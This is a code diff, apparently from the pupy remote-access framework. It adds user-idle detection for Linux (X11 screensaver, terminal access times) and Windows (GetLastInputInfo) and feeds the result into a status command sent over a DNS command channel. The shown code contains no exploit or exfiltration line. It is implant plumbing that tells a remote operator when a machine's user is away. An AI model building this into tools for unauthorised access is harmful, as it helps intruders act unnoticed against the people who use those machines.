diff --git a/client/additional_imports.py b/client/additional_imports.py index d4ac30b3..e9b762d3 100644 --- a/client/additional_imports.py +++ b/client/additional_imports.py @@ -44,7 +44,12 @@ import pyexpat try: import kcp except: - pass + print "kcp not found" + +try: + import uidle +except: + print "uidle not found" import poster diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py index 5e659f9a..ac5e5fd0 100644 --- a/pupy/network/lib/picocmd/client.py +++ b/pupy/network/lib/picocmd/client.py @@ -260,7 +260,6 @@ class DnsCommandsClient(Thread): for attempt in xrange(2): try: payload = self._a_page_decoder(addresses, nonce) - if not payload: logging.error('DNSCNC: No data: {} -> {}'.format(addresses, payload)) self.spi = None diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py index ebcea86f..5e2dea72 100644 --- a/pupy/network/lib/picocmd/picocmd.py +++ b/pupy/network/lib/picocmd/picocmd.py @@ -33,6 +33,11 @@ import socket import psutil import os +try: + import uidle +except ImportError: + uidle = None + try: from network.lib import online except ImportError: @@ -143,19 +148,16 @@ class SystemStatus(Command): self.remote = 255 if idle is None: - try: - self.idle = min( - time.time() - os.stat( - '/dev/{}'.format(x.terminal) - ).st_atime for x in psutil.users() if x.terminal - ) > 60*10 - except: + if uidle is None: self.idle = True + else: + try: + self.idle = uidle.get_idle() > 60*10 + except: + self.idle = True else: self.idle = bool(idle) - psutil._pmap = {} - def get_dict(self): return { 'cpu': self.cpu, diff --git a/pupy/packages/posix/all/uidle.py b/pupy/packages/posix/all/uidle.py new file mode 100644 index 00000000..877574fd --- /dev/null +++ b/pupy/packages/posix/all/uidle.py @@ -0,0 +1,100 @@ +# -*- encoding: utf-8 -*- + +import ctypes +import os +import time + +from display import attach_to_display +from ctypes.util import find_library + +import psutil + +class XScreenSaverInfo( ctypes.Structure): + _fields_ = [('window', ctypes.c_ulong), # screen saver window + ('state', ctypes.c_int), # off,on,disabled + ('kind', ctypes.c_int), # blanked,internal,external + ('since', ctypes.c_ulong), # milliseconds + ('idle', ctypes.c_ulong), # milliseconds + ('event_mask', ctypes.c_ulong)] # events + +try: + xlib = ctypes.cdll.LoadLibrary(find_library('X11')) + + XOpenDisplay = xlib.XOpenDisplay + XOpenDisplay.argtypes = [ ctypes.c_char_p ] + XOpenDisplay.restype = ctypes.c_void_p + + XDefaultRootWindow = xlib.XDefaultRootWindow + XDefaultRootWindow.argtypes = [ ctypes.c_void_p ] + XDefaultRootWindow.restype = ctypes.c_ulong + + XCloseDisplay = xlib.XCloseDisplay + XCloseDisplay.argtypes = [ ctypes.c_void_p ] + XCloseDisplay.restype = ctypes.c_int + + XFree = xlib.XFree + XFree.argtypes = [ ctypes.c_void_p ] + XFree.restype = ctypes.c_int + +except: + xlib = None + +try: + xss = ctypes.cdll.LoadLibrary('libXss.so.1') + + XScreenSaverAllocInfo = xss.XScreenSaverAllocInfo + XScreenSaverAllocInfo.restype = ctypes.POINTER(XScreenSaverInfo) + + XScreenSaverQueryInfo = xss.XScreenSaverQueryInfo + XScreenSaverQueryInfo.argtypes = [ + ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p + ] + XScreenSaverQueryInfo.restype.restype = ctypes.c_int +except: + xss = None + +def get_gui_idle(display=':0'): + if not ( xlib and xss ): + return None + + if not os.environ.get('DISPLAY'): + if not attach_to_display(display): + return None + + display = XOpenDisplay(os.environ.get('DISPLAY') or display) + if not display: + return None + + xssinfo = XScreenSaverAllocInfo() + if not xssinfo: + XCloseDisplay(display) + return None + + status = XScreenSaverQueryInfo(display, XDefaultRootWindow(display), xssinfo) + idle = xssinfo.contents.idle + + XFree(xssinfo) + XCloseDisplay(display) + + return int(idle / 1000) + +def get_cli_idle(): + idle = min( + time.time() - os.stat( + '/dev/{}'.format(x.terminal) + ).st_atime for x in psutil.users() if x.terminal) + psutil._pmap = {} + return idle + +def get_idle(): + cli_idle = get_cli_idle() + + try: + gui_idle = get_gui_idle() + except: + gui_idle = None + + if gui_idle is None: + return cli_idle + else: + return min(cli_idle, gui_idle) diff --git a/pupy/packages/windows/all/uidle.py b/pupy/packages/windows/all/uidle.py new file mode 100644 index 00000000..ae6afaa4 --- /dev/null +++ b/pupy/packages/windows/all/uidle.py @@ -0,0 +1,22 @@ +# -*- encoding: utf-8 -*- + +from ctypes import Structure, windll, c_uint, sizeof, byref + +class LASTINPUTINFO(Structure): + _fields_ = [ + ('cbSize', c_uint), + ('dwTime', c_uint), + ] + +GetLastInputInfo = windll.user32.GetLastInputInfo +GetTickCount = windll.kernel32.GetTickCount + +def get_gui_idle(display=None): + lastInputInfo = LASTINPUTINFO() + lastInputInfo.cbSize = sizeof(lastInputInfo) + GetLastInputInfo(byref(lastInputInfo)) + millis = GetTickCount() - lastInputInfo.dwTime + return int(millis / 1000) + +def get_idle(): + return get_gui_idle()